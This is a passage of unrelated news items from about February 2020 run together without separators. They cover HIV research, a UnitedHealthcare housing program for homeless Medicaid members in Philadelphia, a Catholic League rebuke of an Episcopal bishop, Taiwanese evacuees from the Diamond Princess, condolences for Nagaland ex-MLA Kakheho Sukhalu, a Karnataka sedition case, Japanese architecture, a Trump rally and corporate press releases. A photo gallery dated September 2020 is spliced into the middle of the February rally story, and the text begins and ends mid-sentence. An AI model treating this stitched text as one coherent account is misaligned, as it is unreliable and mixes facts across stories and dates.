the cellular machinery in human cells during infection," said Krogan. "It will generate many new ideas and avenues to identify and test novel therapies." And the benefits may not be limited to HIV research. "Our work is proof-of-principle that the vE-MAP approach is a powerful way to map out the interface between HIV and human cells, and to uncover new therapeutic avenues," said Gordon. "We now look forward to testing it on other pathogens." Purvis Wright, 62, relaxes on the couch after he returns to his apartment on the second floor at New Courtland Square residences on the grounds of Germantown Home. Read more Purvis Wrights health, and life, were spiraling out of control. Wright went to the hospital in July 2018 after a spate of blackouts and throwing up blood. It was all downhill," Wright said this month. I wound up with my eight or nine different sicknesses all at once. After a long stay at Einstein Medical Center Philadelphia, Wright tried going home that September, but the West Oak Lane house where he had an apartment had been sold and all his belongings were gone. That setback forced Wright, 62, onto an odyssey of depending on siblings and homeless shelters for a roof and a bed. Things started looking up in November, when Cynthia Brown, a community health worker with Wrights Medicaid plan, plucked Wright out of the swirling chaos and steered him toward a new housing program from UnitedHealthcare that the worlds largest health insurer was starting in Philadelphia for some of its homeless, chronically ill members. That program, now in a dozen states, is part of a growing effort over the last decade to help patients struggling with homelessness, poverty, and violence, factors that have been recognized as powerful forces causing, or exacerbating, poor health. Many of the people we serve, said Allison Davenport, chief executive of the Medicaid plan, UnitedHealthcare Community Plan of Pennsylvania, have experienced such instability that their health care becomes intractable. It compounds, it compounds, it compounds and they cant address that in a completely unstable situation. In Philadelphia, about 400,000 people live in poverty, a stepping stone to chronically poor health and one that makes the city ripe for such interventions as the one UnitedHealth has brought here. For insurers, it is a matter of money, too, when poor health forces such patients to visit emergency room more frequently, costing tens of thousands of dollars. Since 2016, Pennsylvanias Department of Human Services has announced at least $8.8 million in grants to nonprofits to address social factors that make it hard for the 320,000 Medicaid beneficiaries in North Philadelphia to stay healthy. No rigorous system for evaluating those efforts has been established. A lot is riding on such experiments as the one by UnitedHealth, because the sickest 1 percent of the population accounted for 22 percent of $3.3 trillion in national health-care spending in 2016, according to a federal estimate. The Camden experiment UnitedHealths housing program, called myConnections, was founded by Jeffrey Brenner. This is not the first time Brenner, who worked as a family physician in Camden for years starting in 2000, is attempting to tackle such intractable issues as homelessness that contribute to poor health, and high costs. Brenner gained national renown in the early 2010s for his work at the Camden Coalition of Healthcare Providers, a pioneer in the use of data to track complex patients. A 2011 New Yorker article described their work as revolutionary in its ability to trim the cost of health care for super-utilizers. Before leaving Camden for UnitedHealthcare in 2017, Brenner invited researchers from Massachusetts Institute of Technology to study the effectiveness of the coalitions program, which focused on coordinating care, helping patients with complex conditions navigate health-care services, and helping them connect to social services. The study, published last month, brought disappointing news. It found that patients with at least two chronic conditions adopted by the Camden Coalition went back to the hospital just as often as patients in a control group who received no special treatment after a hospital discharge. Given Brenners prominence, the results received national attention. Still, declaring that these patients are just too hard to help without first solving poverty and other deep-rooted social ills would be precisely the wrong conclusion, said Shreya Kangovi, a professor at the University of Pennsylvanias Perelman School of Medicine. These are hard problems to solve. They are every bit as hard problems to solve as cancer or diabetes, said Kangovi, the founding executive director of the Penn Center for Community Health Workers, which develops methods for improving the health of low-income populations. They are going to require the best available science, just like we need science and we need a lot of efforts and its going to take multiple shots to cure cancer, said Kangovi, whose community health worker program was recently shown to save $2.47 for every dollar it cost. At the Camden Coalition, as early as 2015, it was clear that housing, foremost, but also mental-health and addiction-treatment services were crucial missing pieces of care, according to Kathleen Noonan, who took over as the CEO in 2018. That, according to Noonan, partly explains the poor results from the MIT evaluation, which started in 2014 just as the opioid crisis hit. Brenner said he spent his last two years at the Camden Coalition pushing for a model called Housing First, which takes participants off the street and puts them in an apartment without demanding two or three years of perfect behavior before getting permanent housing. The same rigorous study methods applied to the Camden Coalition have shown repeatedly that providing housing and case management reduces the amount of time spent in the hospital and the number of visits to the emergency department. A second attempt Brenner, who lives in Lansdowne and is senior vice president for UnitedHealthcare Community & State, brought that focus on housing to his new employer, which is based in Minnesota. Every week, Brenner said, his staff would review records for Medicaid members in markets where the program is active, looking for homeless patients, whose medical bills in the last 12 months have cost the insurer at least $50,000, primarily due to avoidable hospital admissions, emergency room visits, and nursing home stays. Also, there has to be a plausible exit strategy you can imagine how the person might be able to move on, Brenner said. He makes an exception when he finds homeless people with end-stage cancer. Im making them an automatic approval. Its kind of mind-blowing, he said. The program is designed to get most participants into permanent housing in a year, Brenner said. UnitedHealths nationwide goal by the end of this year is to house more than 350 Medicaid members with extreme social, medical, and behavioral complexities. In Philadelphia, UnitedHealth has about 57,000 Medicaid members. It has set aside 10 apartments for the program on the campus of Germantown Home, a nursing home in Mount Airy. So far, six of those apartments have been filled. Nationwide, Brenner said, the insurer pays in the range of $1,200 to $1,800 a month for rent and wraparound services provided by a vendor, which is NewCourtland Senior Services in Philadelphia. Depending on the person, the wraparound services include help with transportation, food stamps, and Social Security benefits. UnitedHealth has not conducted a full-scale scientific study of the programs results yet, but it gave an example in a presentation of a patient who was costing an average $20,400 a month before the insurer intervened. Now, that patient has an average monthly medical cost of $400, excluding housing expenses. Wright, who grew up in North Philadelphia near the intersection of Germantown and Lehigh Avenues, now lives in one of the apartments on the Germantown Home campus. When I came here, I didnt leave here for a week, said Wright, who moved in the day before Thanksgiving. When I left, I left to go to my doctors appointment. Its too soon to say what the future holds for Wright, who said his main health problems now are blood clots and the blood pressure in the heart, but he described the help from UnitedHealth and NewCourtland employees as a blessing. If it wasnt for them, me and a whole lot of other people thats here, we would be in trouble, he said. The Philadelphia Inquirer is one of 21 news organizations producing Broke in Philly, a collaborative reporting project on solutions to poverty and the citys push toward economic justice. See all of our reporting at brokeinphilly.org. NEWS PROVIDED BY Catholic League Feb. 21, 2020 We would not defend a Catholic bishop who publicly criticized a decision by a high-ranking cleric of another religion about matters that pertain only to the members of that religion. We respect house rules. It's too bad that Greg Rickel, bishop of the Episcopal Diocese of Olympia, Washington, does not. Recently, two teachers at a Catholic high school in the Seattle area, a man and a woman, resigned, and it is believed they did so because it became known that they each got engaged to a person of the same sex. They voluntarily signed a contract pledging to uphold Catholic teachings, something they obviously violated. As we said earlier this week, this should be a "slam dunk" case, but, of course, a few dissidents protested. Now an Episcopal bishop, Greg Rickel, has weighed in. After Seattle Archbishop Paul Etienne spoke in defense of what happened at the Catholic high school, Rickel sounded the alarms. He accused Catholic officials of "making oneself God," something he said was "the greatest heresy." He also accused them of "discriminating and ruining the livelihood of two people who simply want to love." He added it is "no wonder we are in decline." Rickel would not only do well to respect house rules and mind his own business, he needs to attend a local Catholic college and learn what Catholicism teaches. He may then learnhe could actually go to a Catholic elementary schoolthat Catholic clerics do not believe they are God. As for the teachers, yes, Catholic schools are known to fire those who reject Catholic teachings on racism, genocide, sexuality, and many other matters. Regarding the decline of Christianity, Rickel should heed the words of one of his own, Rev. David Goodhew, director of ministerial practice at Durham University in England. "The church is a movement and the Episcopal church is moving downward....Some optimists hope the decline is slowing. This is not borne out by the data." In other words, Bishop Rickel, worry about your own problems. There are many. His church has been in free-fall for decades, precisely because of its quest for "relevancy." Nineteen Taiwanese citizens arrived back home clad in full protective suits on Friday after spending more than two weeks stuck on a quarantined cruise ship in a Japanese port due to the coronavirus outbreak. I have never been this happy before to return to Taiwan...I almost burst into tears the moment the aircraft touched down, one of the passengers, Sunny Chen, said in a social media post. The 19 landed on a chartered China Airlines plane at the islands main airport in Taoyuan, live television channels showed. They were taken by ambulances and will be put into quarantine after further medical checks, the health ministry said. More than 620 passengers on the Diamond Princess cruise liner have been infected with the coronavirus, the most outside mainland China. It has been quarantined in Yokohama port since Feb. 3 and initially had about 3,700 passengers and crew on board. Hundreds of international passengers from the ship have now left for chartered flights home including those from the United States, Hong Kong and Canada. Id like to thank all the government agencies and medical staff...We will accept Taiwans further quarantine, Chen said in his post, which showed him wearing a mask, goggle and full protective suit while the plane taxied down the runway. Authorities said five Taiwanese nationals have tested positive for the virus on the ship and remained in Japan. Taiwan now has 26 confirmed cases. It has banned entry to Chinese visitors and foreigners with a recent history of travel to China and suspended most flights to its neighbour. A taxi-driver died from the new coronavirus last week, the first such fatality in Taiwan. The government this week proposed a bill to penalize those who violated home quarantine orders, saying a violation would be fined up to T$2 million ($65,845) or two years in jail. In a response to panic buying of masks, the government is building several mask production lines and Premier Su Tseng-chang said Taiwan will more than double its daily mask production to 10 million by early March. State Ex-MLA Kakheho Sukhalu passes away DIMAPUR, FEB 21 (NPN) | Publish Date: 2/21/2020 12:15:04 PM IST Kakheho Sukhalu, former MLA and vice president of NDPP, passed away at a private hospital in Dimapur on Friday after a prolonged illness. He was 62. Late Kakheho, son of late H. Kawoto Sukhalu and brother of advisor school education KT Sukhalu, after completing his early schooling at Zunheboto, got his B.Com degree from Shillong College, Shillong. He was elected from 35 Zunheboto assembly constituency in 1998 as an independent candidate. Condolences: In a condolence message, the chief minister described late Sukhalu as an energetic and hard working politician, who did many good works for his constituency and the people. He was an honest and straight forward public leader, who could mingle effortlessly with the masses, Rio said, adding that his death at such a young age was a big loss for the people of Nagaland particularly for the people of Zunheboto district. The chief minister also said that late Sukhalu was a founding member of NDPP and served as senior vice president till his demise. His demise is a great loss not only to our party and the people of Nagaland but it is also a personal loss to me, the chief minister maintained and added that he would miss late Sukhalus presence and his mature advice at this crucial juncture. The chief minister on his behalf and on behalf of the Government of Nagaland, conveyed deepest and heartfelt condolences to the members of the bereaved family and prayed that God grant them strength and peace of mind in their hour of bereavement. NLA speaker: Nagaland Legislative Assembly (NLA) speaker Sharingain Longkumer expressed deep grief over the demise of Kakheho, ex-MLA, and said that his death has caused a great loss to the Nagas in general and the Sumi Community in particular and the void created would be difficult to fill. In a condolence message, Sharingain described late Sukhalu as a hard-working and devoted man, who worked sincerely for the welfare and uplift of his constituency and for the people of Nagaland. The speaker, on his behalf and on behalf of the Members of the 13th NLA, conveyed heartfelt condolences to members of the bereaved family and prayed that the Almighty God grant them solace and comfort at this hour of sorrow. He also prayed that the departed soul rest in eternal peace. Dy. CM: State deputy chief minister, Y Patton, has expressed extreme pain over the demise of Kakheho Sukhalu, ex- MLA, and said that Nagas, in his death, have lost a respectable figure. In a condolence message, Patton said late Sukhalu was a seasoned politician and an elderly figure who chose to dedicate his life for the service of his people. Patton, on behalf of the state BJP legislators, conveyed sincere condolences to the bereaved family during this hour of grief and prayed for the deceased to find eternal peace. Minister Kaito: Expressing deep grief over the passing of ex-MLA Kakheho Sukhalu, the minister of agriculture and co-operation G Kaito Aye said his demise was a personal loss. In a condolence message, Kaito said late Sukhalu was a dear brother to him and a great colleague. Describing late leader as was a remarkable gentleman, humble, upright and selfless, the minister said in his demise the people of the state have lost a young dynamic leader whose positive visions have influenced and changed the lives of many around him and beyond. Kaito also said that the void created by his passing would be impossible to fill. The minister, however, said that the legacy he has left behind will forever be cherished. Kaito extended deepest and sincere condolences to the bereaved family and prayed that the Almighty God give them strength and comfort at this time of grief. Minister Along: Minister of higher & technical education and tribal affairs, Temjen Imna Along, expressed deep sadness over the sudden demise of Ex-MLA Kakheho Sukhalu and said that in his death, the people of Nagaland have lost a fine leader who would be dearly missed. In a condolence message, Imna Along described late Sukhalu as a humble, compassionate and courteous gentleman, who always go out of his way to help those in need. Along said the late leader was also instrumental in bringing numerous changes for the uplift of his people. The minister conveyed heartfelt condolences to the grieving family in this moment of sorrow and prayed for the departed soul to rest in eternal peace. LoP: Expressing pain over the demise of ex-MLA Kakheho Sukhalu, the Leader of Opposition TR Zeliang said late leader dedicated his service for the cause of his people, adding that his demise was a great loss. In a condolence message, Zeliang said late Sukhalu proved his worth as a student leader, a businessman, a sportsman and later as a politician. The former chief minister also extended his deepest condolences to all the bereaved family members, relatives, friends, colleagues and all his near and dear ones during this time of grief and sorrow. He prayed that the departed soul rest in eternal peace. NDPP: Nationalist Democratic Progressive Party (NDPP) president Chingwang Konyak expressed pain over the demise and said that in his passing away, the Naga society in general and the NDPP in particular have lost a very efficient and charismatic person. In a condolence message, Konyak recalled that he had the opportunity to have closely worked with late Sukhalu during the formation of NDPP, adding I found him to be a very sincere and dedicated person who seemed to be forever concerned for the uplift of the society. NDPP president said state Sukhalu, hailing from an illustrious family, was a meek, humble and very approachable person liked by young and old who have met him. Konyak further said that late Sukhalu played a crucial role in the formation of NDPP and was in charge of the Zunheboto region, and later on, was appointed in charge of Dimapur region. NDPP president on behalf of the party rank and file conveyed heartfelt sympathies and condolences to the bereaved family members. He said that the party would forever remain indebted to his contributions in the formation and growth of the party in the State. We pray that the departed soul rest in eternal peace, Konyak said. NPCC: Nagaland Pradesh Congress Committee (NPCC) president K Therie has expressed shock over the demise of Kakheho Sukhalu, Ex-MLA and vice president NDPP. In a condolence message, Therie said late Sukhalu had represented the people of 35 Zunheboto assembly constituency and was a youthful leader who worked tirelessly for the uplift of not only the people he represented but for the people of the state in general. NPCC president said that late Sukhalu yet had much to contribute to his people for Nagaland had high expectations from the upright and good hearted person that he was. In his passing away, Therie said the irreparable loss was not only to his family but also to the people of the state who have lost a tall and able leader in his prime. NPCC president on behalf of party rank and file offered deepest condolences to the bereaved family members and prayed that Almighty God comfort and keep them all through this painful hour of sorrow. NPP state unit: National Peoples Party (NPP) Nagaland state unit expressed grief over the demise of late Kakheho Sukhalu, Ex-MLA, and extended deepest condolences to the bereaved family members. In a condolence message, NPP Nagaland president Dr. Andrew Ahoto Sema and general secretary (org) B. Limanuksung Longkumer described late Sukhalu as a visionary leader of our times and said that he was a man of rare political acumen, courage and immense wisdom. NPP state unit stated that his loss has left a deep void in the political fraternity of Nagaland in particular and the Naga society in general, which it said would be hard to fill in days to come. The NPP state unit offered prayers for the departed soul and moral support to the bereaved family members at this hour of immense grief. The party also prayed that the God Almighty grant all of them peace and strength to bear the pain of loss with true Christian love, courage and faith. NSCN (R) VP: NSCN/GPRN (Reformation) vice president Akato Chophi expressed pain and sorrow over the demise of late Kakheho Sukhalu. In a condolence issued by MIP, Akato described late Sukhalu as a broad minded frontrunner in both social and political fields, who was a force to reckon with. He said late leader leaves behind his legacy as a gentleman and an officer for his progeny and his friends to cherish on. In his demise, Akato said I have lost a very true Friend, a dear Companion and a daring Compatriot with whom I shared a solemn and a benign friendship and stood by each other, through all thick and thin. NSCN (R) vice president prayed that Good Lord provide solace to members of bereaved family during their time of grief and rest the departed soul in eternal peace. NDPP Dimapur region: Nationalist Democratic Progressive Party (NDPP) Dimapur region has expressed shock over the sudden demise of Kakheho Sukhalu, Ex MLA and vice president NDPP who was also the in-charge of Dimapur region. In a condolence message, NDPP Dimapur region president Kughato S Aye said late Kakheho was a humble person, accessible to young and old and an active social worker, who was ever ready to help the poor and weaker section of the society. NDPP Dimapur Region conveyed deepest condolences to bereaved family and prayed that his soul rest in peace. NPF Zunheboto Division: Naga Peoples Front (NPF) Zunheboto Division has expressed sadness over the demise of late Kakheho Sukhalu, ex-MLA, who represented 35 AC Zunheboto to the 9th NLA as independent candidate. In a condolence message, NPF Zunheboto division president Akavi Sumi described late leader as a humble gentleman, and a leader without barricade even to his opponents. In his demise, NPF Zunheboto division said Nagas in general and Zunheboto constituency in particular have lost one of the most grassroots friendly and adorable representative. NPF Zunheboto division also conveyed condolences to the bereaved family and prayed that the departed soul rest in eternal peace. Karnataka Chief Minister BS Yediyurappa on Friday said the young woman who has been charged with sedition for raising pro-Pakistan slogans during an anti-CAA event, had links with Naxals in the past. Bengaluru: Karnataka Chief Minister BS Yediyurappa on Friday said the young woman who has been charged with sedition for raising pro-Pakistan slogans during an anti-CAA event, had links with Naxals in the past. Amulya Leona had raised "Pakistan Zindabad" slogan hrice after the organisers of the event under the banner of "Save Constitution" invited her to address the gathering in the presence of All India Majlis-e-Ittehadul Muslimeen (AIMIM) chief Asaduddin Owaisi. She was immediately taken into custody and subsequently produced before a judicial magistrate and sent to 14-day custody. A sedition case was also filed against her. "Importantly, the organisations that are behind people like Amulya and nurturing them, if we don't take action against such organisations, such things won't end. Prima facie it is clear that there is conspiracy going on to disturb law and order with such incidents," Yediyurappa said. Speaking to reporters in Mysuru, he said, "if organisations that are behind her are inquired into, things will come out. It is clear that she had links with Naxals in the past. In this backdrop she should be punished and action should be taken against organisations that are behind her." Amulya's father himself has said she should be punished and should not get bail and that he will not seek protection for her, the chief minister added. Police will also be questioning the organisers of the event in connection with the incident, official sources said. Meanwhile, Amulya's father Wazi said action should be taken against her in accordance with law, so that she corrects herself. "It is an unforgivable mistake, she has caused pain to Indians. I'm deeply disturbed...action should be taken against her in accordance with law, she is around 19, we will have to find out why she said it and who is behind it,"he added. "She is a bright girl...I have tried to tell her not to involve herself in such activities after I got to know she was involving in anti-CAA, NRC protests and complete her education first," he said. He expressed apprehension over possible health issues of his daughter. Police have provided security to Amulya's residence at Koppa in Chikkamagaluru after some protesters had staged demonstrations, officials said. Several organisations held protests in the city on Friday against the incident. Avant-garde and highly conceptual, Japanese design has long inspired Australian architects. In 1955, the Sydney architect Neville Gruzman returned from a four-month trip to Japan trip declaring himself a born-again architect, such was the impact of what he saw. This influence continued recently at the Sherman Centre for Culture and Ideas in Sydneys Paddington, to which renowned Japanese architect Sou Fujimoto was invited to deliver a keynote speech. Fujimoto's House N is conventional in concept. Credit:Iwan Baan Fujimoto is behind a range of jaw-dropping projects, from the tiny to the gargantuan. The House NA, built in 2010 on a tight block in Tokyo, consists of 21 floating platforms staggered at different heights. Originally, the inhabitants were almost totally exposed to the street; only recently, by installing curtains, was a degree of privacy achieved. By contrast, Fujimotos House N (pictured) is more conventional in concept. Situated in Oita, 800 kilometres south-west of Tokyo, it was designed in 2008 for a couple (and their dog) who became Fujimotos in-laws. The structure is formed by three shells nesting inside each other. The outermost walls are set at the perimeter of the site, creating an inner courtyard; the in-between box encloses some of the outdoor space, while the core of the house is solid and private. One might say that an ideal architecture is an outdoor space that feels like the indoors and an indoor space that feels like the outdoors, said Fujimoto. NEW YORK (AP) Bank of America is slashing the amount it charges customers when they spend more than they have in their accounts and plans to eliminate entirely its fees for bounced checks. President Donald Trump has slurred through his speech at a Nevada rally on Friday before mocking former Vice President Joe Biden's stutter. The president spoke to a crowd of supporters in Las Vegas and used the opportunity to mock some of his competitors. When taking jabs at democratic candidate Pete Buttigege, Mr Trump appeared to slur through his statement. "Ladies and gentlemen, introducing President Alfred E Neuman," he said, making a comparison of the Indiana mayor to the fictitious character all while slurring the statement. "But see nobody knows because you're all too young, nobody knows." Mr Trump informed the crowd the fictitious character comes from humor magazine Mad. Alfred E Neuman is the mascot and cover boy for the magazine, and it appears Mr Trump thought the cartoon image looked similar to that of the mayor. World news in pictures Show all 50 1 /50 World news in pictures World news in pictures 30 September 2020 Pope Francis prays with priests at the end of a limited public audience at the San Damaso courtyard in The Vatican AFP via Getty World news in pictures 29 September 2020 A girl's silhouette is seen from behind a fabric in a tent along a beach by Beit Lahia in the northern Gaza Strip AFP via Getty World news in pictures 28 September 2020 A Chinese woman takes a photo of herself in front of a flower display dedicated to frontline health care workers during the COVID-19 pandemic in Beijing, China. China will celebrate national day marking the founding of the People's Republic of China on October 1st Getty World news in pictures 27 September 2020 The Glass Mountain Inn burns as the Glass Fire moves through the area in St. Helena, California. The fast moving Glass fire has burned over 1,000 acres and has destroyed homes Getty World news in pictures 26 September 2020 A villager along with a child offers prayers next to a carcass of a wild elephant that officials say was electrocuted in Rani Reserve Forest on the outskirts of Guwahati, India AFP via Getty World news in pictures 25 September 2020 The casket of late Supreme Court Justice Ruth Bader Ginsburg is seen in Statuary Hall in the US Capitol to lie in state in Washington, DC AFP via Getty World news in pictures 24 September 2020 An anti-government protester holds up an image of a pro-democracy commemorative plaque at a rally outside Thailand's parliament in Bangkok, as activists gathered to demand a new constitution AFP via Getty World news in pictures 23 September 2020 A whale stranded on a beach in Macquarie Harbour on the rugged west coast of Tasmania, as hundreds of pilot whales have died in a mass stranding in southern Australia despite efforts to save them, with rescuers racing to free a few dozen survivors The Mercury/AFP via Getty World news in pictures 22 September 2020 State civil employee candidates wearing face masks and shields take a test in Surabaya AFP via Getty World news in pictures 21 September 2020 A man sweeps at the Taj Mahal monument on the day of its reopening after being closed for more than six months due to the coronavirus pandemic AP World news in pictures 20 September 2020 A deer looks for food in a burnt area, caused by the Bobcat fire, in Pearblossom, California EPA World news in pictures 19 September 2020 Anti-government protesters hold their mobile phones aloft as they take part in a pro-democracy rally in Bangkok. Tens of thousands of pro-democracy protesters massed close to Thailand's royal palace, in a huge rally calling for PM Prayut Chan-O-Cha to step down and demanding reforms to the monarchy AFP via Getty World news in pictures 18 September 2020 Supporters of Iraqi Shi'ite cleric Moqtada al-Sadr maintain social distancing as they attend Friday prayers after the coronavirus disease restrictions were eased, in Kufa mosque, near Najaf, Iraq Reuters World news in pictures 17 September 2020 A protester climbs on The Triumph of the Republic at 'the Place de la Nation' as thousands of protesters take part in a demonstration during a national day strike called by labor unions asking for better salary and against jobs cut in Paris, France EPA World news in pictures 16 September 2020 A fire raging near the Lazzaretto of Ancona in Italy. The huge blaze broke out overnight at the port of Ancona. Firefighters have brought the fire under control but they expected to keep working through the day EPA World news in pictures 15 September 2020 Russian opposition leader Alexei Navalny posing for a selfie with his family at Berlin's Charite hospital. In an Instagram post he said he could now breathe independently following his suspected poisoning last month Alexei Navalny/Instagram/AFP World news in pictures 14 September 2020 Japan's Prime Minister Shinzo Abe, Chief Cabinet Secretary Yoshihide Suga, former Defense Minister Shigeru Ishiba and former Foreign Minister Fumio Kishida celebrate after Suga was elected as new head of the ruling party at the Liberal Democratic Party's leadership election in Tokyo Reuters World news in pictures 13 September 2020 A man stands behind a burning barricade during the fifth straight day of protests against police brutality in Bogota AFP via Getty World news in pictures 12 September 2020 Police officers block and detain protesters during an opposition rally to protest the official presidential election results in Minsk, Belarus. Daily protests calling for the authoritarian president's resignation are now in their second month AP World news in pictures 11 September 2020 Members of 'Omnium Cultural' celebrate the 20th 'Festa per la llibertat' ('Fiesta for the freedom') to mark the Day of Catalonia in Barcelona. Omnion Cultural fights for the independence of Catalonia EPA World news in pictures 10 September 2020 The Moria refugee camp, two days after Greece's biggest migrant camp, was destroyed by fire. Thousands of asylum seekers on the island of Lesbos are now homeless AFP via Getty World news in pictures 9 September 2020 Pope Francis takes off his face mask as he arrives by car to hold a limited public audience at the San Damaso courtyard in The Vatican AFP via Getty World news in pictures 8 September 2020 A home is engulfed in flames during the "Creek Fire" in the Tollhouse area of California AFP via Getty World news in pictures 7 September 2020 A couple take photos along a sea wall of the waves brought by Typhoon Haishen in the eastern port city of Sokcho AFP via Getty World news in pictures 6 September 2020 Novak Djokovic and a tournament official tends to a linesperson who was struck with a ball by Djokovic during his match against Pablo Carreno Busta at the US Open USA Today Sports/Reuters World news in pictures 5 September 2020 Protesters confront police at the Shrine of Remembrance in Melbourne, Australia, during an anti-lockdown rally AFP via Getty World news in pictures 4 September 2020 A woman looks on from a rooftop as rescue workers dig through the rubble of a damaged building in Beirut. A search began for possible survivors after a scanner detected a pulse one month after the mega-blast at the adjacent port AFP via Getty World news in pictures 3 September 2020 A full moon next to the Virgen del Panecillo statue in Quito, Ecuador EPA World news in pictures 2 September 2020 A Palestinian woman reacts as Israeli forces demolish her animal shed near Hebron in the Israeli-occupied West Bank Reuters World news in pictures 1 September 2020 Students protest against presidential elections results in Minsk TUT.BY/AFP via Getty World news in pictures 31 August 2020 The pack rides during the 3rd stage of the Tour de France between Nice and Sisteron AFP via Getty World news in pictures 30 August 2020 Law enforcement officers block a street during a rally of opposition supporters protesting against presidential election results in Minsk, Belarus Reuters World news in pictures 29 August 2020 A woman holding a placard reading "Stop Censorship - Yes to the Freedom of Expression" shouts in a megaphone during a protest against the mandatory wearing of face masks in Paris. Masks, which were already compulsory on public transport, in enclosed public spaces, and outdoors in Paris in certain high-congestion areas around tourist sites, were made mandatory outdoors citywide on August 28 to fight the rising coronavirus infections AFP via Getty World news in pictures 28 August 2020 Japanese Prime Minister Shinzo Abe bows to the national flag at the start of a press conference at the prime minister official residence in Tokyo. Abe announced he will resign over health problems, in a bombshell development that kicks off a leadership contest in the world's third-largest economy AFP via Getty World news in pictures 27 August 2020 Residents take cover behind a tree trunk from rubber bullets fired by South African Police Service (SAPS) in Eldorado Park, near Johannesburg, during a protest by community members after a 16-year old boy was reported dead AFP via Getty World news in pictures 26 August 2020 People scatter rose petals on a statue of Mother Teresa marking her 110th birth anniversary in Ahmedabad AFP via Getty World news in pictures 25 August 2020 An aerial view shows beach-goers standing on salt formations in the Dead Sea near Ein Bokeq, Israel Reuters World news in pictures 24 August 2020 Health workers use a fingertip pulse oximeter and check the body temperature of a fisherwoman inside the Dharavi slum during a door-to-door Covid-19 coronavirus screening in Mumbai AFP via Getty World news in pictures 23 August 2020 People carry an idol of the Hindu god Ganesh, the deity of prosperity, to immerse it off the coast of the Arabian sea during the Ganesh Chaturthi festival in Mumbai, India Reuters World news in pictures 22 August 2020 Firefighters watch as flames from the LNU Lightning Complex fires approach a home in Napa County, California AP World news in pictures 21 August 2020 Members of the Israeli security forces arrest a Palestinian demonstrator during a rally to protest against Israel's plan to annex parts of the occupied West Bank AFP via Getty World news in pictures 20 August 2020 A man pushes his bicycle through a deserted road after prohibitory orders were imposed by district officials for a week to contain the spread of the Covid-19 in Kathmandu AFP via Getty World news in pictures 19 August 2020 A car burns while parked at a residence in Vacaville, California. Dozens of fires are burning out of control throughout Northern California as fire resources are spread thin AFP via Getty World news in pictures 18 August 2020 Students use their mobile phones as flashlights at an anti-government rally at Mahidol University in Nakhon Pathom. Thailand has seen near-daily protests in recent weeks by students demanding the resignation of Prime Minister Prayut Chan-O-Cha AFP via Getty World news in pictures 17 August 2020 Members of the Kayapo tribe block the BR163 highway during a protest outside Novo Progresso in Para state, Brazil. Indigenous protesters blocked a major transamazonian highway to protest against the lack of governmental support during the COVID-19 novel coronavirus pandemic and illegal deforestation in and around their territories AFP via Getty World news in pictures 16 August 2020 Lightning forks over the San Francisco-Oakland Bay Bridge as a storm passes over Oakland AP World news in pictures 15 August 2020 Belarus opposition supporters gather near the Pushkinskaya metro station where Alexander Taraikovsky, a 34-year-old protester died on August 10, during their protest rally in central Minsk AFP via Getty World news in pictures 14 August 2020 AlphaTauri's driver Daniil Kvyat takes part in the second practice session at the Circuit de Catalunya in Montmelo near Barcelona ahead of the Spanish F1 Grand Prix AFP via Getty World news in pictures 13 August 2020 Soldiers of the Brazilian Armed Forces during a disinfection of the Christ The Redeemer statue at the Corcovado mountain prior to the opening of the touristic attraction in Rio AFP via Getty World news in pictures 12 August 2020 Young elephant bulls tussle playfully on World Elephant Day at the Amboseli National Park in Kenya AFP via Getty It is unclear why the president slurred his speech during the moment of the rally. The speech then moved on to take jabs at Mr Biden and a stutter that sometimes comes out when the former vice president speaks, something he's had since boyhood. "Biden is angry. Biden is angry, everything is anger," Mr Trump said before doing an imitation of Mr Biden's stutter. He continued: "And that's what happens when you can't get the words out. That's what happens when you can't get the words out, you get angry. Might happen to me one day. Can you imagine if that happened to me? Man would I be a bad guy. I would be the meanest man in history." Mr Biden spoke during a CNN town hall last month about his stutter, which has come out a few times during debates. "Still, occasionally, when I find myself really tired," he said about the speech impediment. "It has nothing to do with your intelligence quotient. It has nothing to do with your intellectual makeup," he continued. Instead, Mr Biden said he thinks "part of it's confidence" and that he has to "think in terms of not rushing." "You have to break it up, because you get so nervous," Mr Biden said. PRESS RELEASE, COPENHAGEN, DENMARK FLSmidth has received an order from Slavkaliy to supply equipment to a new potassium mining and processing facility in Belarus. The contract is valued at around DKK 360 million and will be booked in Q1 2020. FLSmidth will deliver liquid-solid separation equipment islands to Slavkaliy for a new facility in the Nezhinsky area of the Starobinskoye potassium salt deposits in Belarus. The liquid-solid separation equipment islands include a large number of thickener and clarifier, pan- and horizontal belt filter packages. All equipment islands come with a full automation package, which supports the overall plant automation system previously designed by FLSmidth. When in production, the new mining and processing complex will have an output capacity between 1.1 to 2.0 million tonnes of potassium chloride per annum. Manfred Schaffer, Mining President at FLSmidth, comments: "We are especially pleased, after the plant engineering order booked in Q3 2019, to have now secured this equipment order from CITIC Construction Co. Ltd., which is the construction contractor for Slavkaliy. We are confident this will be a leading, cutting-edge operation with a strong focus on productivity, efficiency and sustainability, backed by a high level of digitalization. This significant level of automation and digitalization, in combination with our equipment, will also mean the lowest possible on-site energy consumption. Slavkaliy and FLSmidth have a common focus on minimal environmental impact, and this order very much supports FLSmidth's MissionZero ambition. The delivery will begin at the end of 2020 and will be completed during 2021. FLSmidth experts will provide supervision during the erection and commission phases to ensure the timely opening of the complete complex, which is expected in Q4 2023. This Slavikaly order in Belarus is another significant order to be announced by FLSmidth in 2020. Contacts Media Relations Rasmus Windfeld, +45 40 44 60 60, rwin@flsmidth.com Investor Relations Nicolai Mauritzen, +45 30 93 18 51, nicm@flsmidth.com Attachment Dr. Stong operating in Peru It is truly an honor to be a part of the HTC mission to Ica, Peru, once again this year. I am looking forward to making a dramatic difference in the lives of these children and their families, says Dr. Benjamin Stong. Dr. Stong, a leading Atlanta facial plastic and reconstructive surgeon, has always been a strong advocate for giving back. He has been a long-time volunteer with Healing the Children (HTC), traveling to locations abroad to assist in medical missions. The goal of this particular HTC trip is to provide cleft lip and palate procedures to underprivileged pediatric patients in the area of Ica, Peru. Volunteer medical and surgical health professionals travel at their own expense, treating patients and sharing their expertise with local health professionals during procedures and in-service sessions. It is truly an honor to be a part of the HTC mission to Ica, Peru, once again this year. I am looking forward to making a dramatic difference in the lives of these children and their families, says Dr. Benjamin Stong. Dr. Stong truly enjoys sharing his expertise in facial and reconstructive surgery with the less fortunate by participating in humanitarian efforts at home and internationally. In addition to taking his qualifications and talent abroad by providing free services to children with congenital deformities for Healing the Children, he also volunteers for many other non-profits. Dr. Stong is a member of the national Face to Face organization committee, championing against domestic violence by providing pro bono surgery to its unfortunate victims. He also works with the Partnership Against Domestic Violence of Atlanta to assist in local domestic violence cases. Healing the Children focuses on helping underserved children around the world secure the urgent medical care that they need and would otherwise be unable to obtain. To date, the non-profit organization 